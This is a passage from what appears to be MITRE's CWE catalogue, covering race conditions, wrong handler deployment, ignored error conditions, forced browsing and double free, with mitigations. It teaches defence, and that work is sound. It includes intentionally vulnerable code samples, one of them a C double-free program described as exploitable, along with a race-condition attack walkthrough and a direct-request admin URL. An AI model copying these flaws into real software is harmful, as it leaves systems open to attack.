Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(Bad Code)
Example Language: Perl 
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(Attack)
Example Language: PseudoCode 
The attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(Bad Code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */

pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

(Good Code)
 
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;

/* access shared resource */

return pthread_mutex_unlock(mutex);
}
+ Observed Examples
ReferenceDescription
Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
Race condition during initialization triggers a buffer overflow.
Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
chain: race condition triggers NULL pointer dereference
Race condition in library function could cause data to be sent to the wrong process.
Race condition in file parser leads to heap corruption.
chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
chain: race condition for an argument value, possibly resulting in NULL dereference
chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
+ Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.362.11]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory361Time and State
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfWeakness ClassWeakness Class691Insufficient Control Flow Management
Research Concepts (primary)1000
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory852CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory8672011 Top 25 - Weaknesses On the Cusp
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory882CERT C++ Secure Coding Section 14 - Concurrency (CON)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory988SFP Secondary Cluster: Race Condition Window
Software Fault Pattern (SFP) Clusters (primary)888
RequiredByCompound Element: CompositeCompound Element: Composite61UNIX Symbolic Link (Symlink) Following
Research Concepts1000
RequiredByCompound Element: CompositeCompound Element: Composite689Permission Race Condition During Resource Copy
Research Concepts1000
ParentOfWeakness BaseWeakness Base364Signal Handler Race Condition
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base366Race Condition within a Thread
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base367Time-of-check Time-of-use (TOCTOU) Race Condition
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base368Context Switching Race Condition
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness BaseWeakness Base421Race Condition During Access to Alternate Channel
Development Concepts699
Research Concepts1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
CanFollowWeakness BaseWeakness Base662Improper Synchronization
Development Concepts699
Research Concepts1000
CanAlsoBeCategoryCategory557Concurrency Issues
Research Concepts1000
+ Research Gaps

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRace Conditions
CERT C Secure CodingFIO31-CDo not simultaneously open the same file multiple times
CERT Java Secure CodingVNA03-JDo not assume that a group of calls to independently atomic methods is atomic
CERT C++ Secure CodingFIO31-CPPDo not simultaneously open the same file multiple times
CERT C++ Secure CodingCON02-CPPUse lock classes for mutex management
+ References
[R.362.1] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[R.362.2] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01. <http://www.ddj.com/cpp/184403766>.
[R.362.3] Steven Devijver. "Thread-safe webapps using Spring". <http://www.javalobby.org/articles/thread-safe/index.jsp>.
[R.362.4] David Wheeler. "Prevent race conditions". 2007-10-04. <http://www.ibm.com/developerworks/library/l-sprace.html>.
[R.362.5] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". September 1995. <http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf>.
[R.362.6] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>.
[R.362.7] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". April 2002. <http://www.blakewatts.com/namedpipepaper.html>.
[R.362.8] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
[R.362.9] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. <http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>.
[R.362.10] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26. <http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>.
[R.362.11] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
+ Maintenance Notes

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Contributions
Contribution DateContributorOrganizationSource
2010-04-30Martin SeborCisco Systems, Inc. Content
Provided Demonstrative Example
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2009-03-10CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Relationships
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, References, Relationships
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Observed_Examples, Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Race Conditions
2010-12-13Race Condition

CWE-430: Deployment of Wrong Handler

Weakness ID: 430
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The wrong "handler" is assigned to process an object.

Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Integrity
Other

Technical Impact: Varies by context; Unexpected state

+ Observed Examples
ReferenceDescription
Source code disclosure via manipulated file extension that causes parsing by wrong DLL.
Web browser does not properly handle the Content-Type header field, causing a different application to process the document.
Source code disclosure by directly invoking a servlet.
Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler.
+ Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting an object.

Phase: Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

+ Weakness Ordinalities
OrdinalityDescription
Resultant

This weakness is usually resultant from other weaknesses.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory429Handler Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class691Insufficient Control Flow Management
Research Concepts (primary)1000
ChildOfCategoryCategory977SFP Secondary Cluster: Design
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness VariantWeakness Variant433Unparsed Raw Web Content Delivery
Research Concepts1000
PeerOfWeakness BaseWeakness Base434Unrestricted Upload of File with Dangerous Type
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERImproper Handler Deployment
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "File Handlers", Page 74.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes, Weakness_Ordinalities
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper Handler Deployment

CWE-390: Detection of Error Condition Without Action

Weakness ID: 390
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software detects a specific error, but takes no actions to handle the error.
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Integrity
Other

Technical Impact: Varies by context; Unexpected state; Alter execution logic

An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

(Bad Code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
//We do nothing so we just ignore the error.
}

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

(Good Code)
Example Language:
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
printf("Malloc failed to allocate memory resources");
return -1;
}

Example 2

In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

(Bad Code)
Example Language: C++ 
char* readfile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}

infile.close();

return buffer;
}
catch (...) {
/* bug: insert code to handle this later */
}
}

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

(Good Code)
Example Language: C++ 
char* readFile (char *filename) {
try {
// open input file
ifstream infile;
infile.open(filename);

if (!infile.is_open()) {
throw "Unable to open file " + filename;
}

// get length of file
infile.seekg (0, ios::end);
int length = infile.tellg();
infile.seekg (0, ios::beg);

// allocate memory
char *buffer = new char [length];

// read data from file
infile.read (buffer,length);

if (!infile.good()) {
throw "Unable to read from file " + filename;
}
infile.close();

return buffer;
}
catch (char *str) {
printf("Error: %s \n", str);
infile.close();
throw str;
}
catch (...) {
printf("Error occurred trying to read from file \n");
infile.close();
throw;
}
}

Example 3

In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

(Bad Code)
Example Language: Java 
public String readFile(String filename) {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char[] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);

} catch (Exception ex) {
/* do nothing, but catch so it'll compile... */
}
return retString;
}

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

(Good Code)
Example Language: Java 
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
String retString = null;
try {
// initialize File and FileReader objects
File file = new File(filename);
FileReader fr = new FileReader(file);

// initialize character buffer
long fLen = file.length();
char [] cBuf = new char[(int) fLen];

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);

// close file
fr.close();

retString = new String(cBuf);

} catch (FileNotFoundException ex) {
System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
System.err.println ("" + ex.getMessage() );
throw new FileNotFoundException(ex.getMessage());
} catch (IOException ex) {
System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
throw new IOException(ex);
} catch (Exception ex) {
System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
throw new Exception(ex);
}
return retString;
}
+ Potential Mitigations

Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Phase: Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory389Error Conditions, Return Values, Status Codes
Development Concepts (primary)699
ChildOfCategoryCategory728OWASP Top Ten 2004 Category A7 - Improper Error Handling
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness ClassWeakness Class755Improper Handling of Exceptional Conditions
Research Concepts (primary)1000
ChildOfCategoryCategory851CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory962SFP Secondary Cluster: Unchecked Status Condition
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base401Improper Release of Memory Before Removing Last Reference ('Memory Leak')
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
PeerOfWeakness BaseWeakness Base600Uncaught Exception in Servlet
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant81Improper Neutralization of Script in an Error Message Web Page
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPImproper error handling
CERT Java Secure CodingERR00-JDo not suppress or ignore checked exceptions
CERT C++ Secure CodingERR39-CPPGuarantee exception safety
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, References, Relationships
2014-02-18CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper Error Handling

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.

Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

+ Alternate Terms
forced browsing:

The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Read application data; Modify application data; Execute unauthorized code or commands; Gain privileges / assume identity

+ Demonstrative Examples

Example 1

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

(Attack)
Example Language: JSP 
http://somesite.com/someapplication/admin.jsp
+ Observed Examples
ReferenceDescription
Bypass authentication via direct request.
Infinite loop or infoleak triggered by direct requests.
Bypass auth/auth via direct request.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Direct request leads to infoleak by error.
Authentication bypass via direct request.
Authentication bypass via direct request.
Authorization bypass using direct request.
Access privileged functionality using direct request.
Upload arbitrary files via direct request.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Phase: Architecture and Design

Consider using MVC based frameworks such as Struts.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base288Authentication Bypass Using an Alternate Path or Channel
Development Concepts699
Research Concepts1000
ChildOfWeakness ClassWeakness Class424Improper Protection of Alternate Path
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory442Web Problems
Development Concepts699
ChildOfCategoryCategory721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness ClassWeakness Class862Missing Authorization
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory953SFP Secondary Cluster: Missing Endpoint Authentication
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Research Concepts1000
PeerOfWeakness BaseWeakness Base288Authentication Bypass Using an Alternate Path or Channel
Research Concepts1000
+ Relationship Notes

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

+ Theoretical Notes

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Request aka 'Forced Browsing'
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
WASC34Predictable Resource Location
Software Fault PatternsSFP30Missing endpoint authentication
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships, Relationship_Notes, Taxonomy_Mappings, Theoretical_Notes
2008-10-14CWE Content TeamMITREInternal
updated Description
2010-02-16CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2012-05-11CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

CWE-415: Double Free

Weakness ID: 415
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

+ Alternate Terms
Double-free
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

+ Likelihood of Exploit

Low to Medium

+ Demonstrative Examples

Example 1

The following code shows a simple example of a double free vulnerability.

(Bad Code)
Example Language:
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
free(ptr);
}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

  • Error conditions and other exceptional circumstances

  • Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

(Bad Code)
Example Language:
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {
char *buf1R1;
char *buf2R1;
char *buf1R2;
buf1R1 = (char *) malloc(BUFSIZE2);
buf2R1 = (char *) malloc(BUFSIZE2);
free(buf1R1);
free(buf2R1);
buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);
free(buf2R1);
free(buf1R2);
}
+ Observed Examples
ReferenceDescription
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).
Double free resultant from certain error conditions.
Double free resultant from certain error conditions.
Double free resultant from certain error conditions.
Double free from invalid ASN.1 encoding.
Double free from malformed GIF.
Double free from malformed GIF.
Double free from malformed compressed data.
+ Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

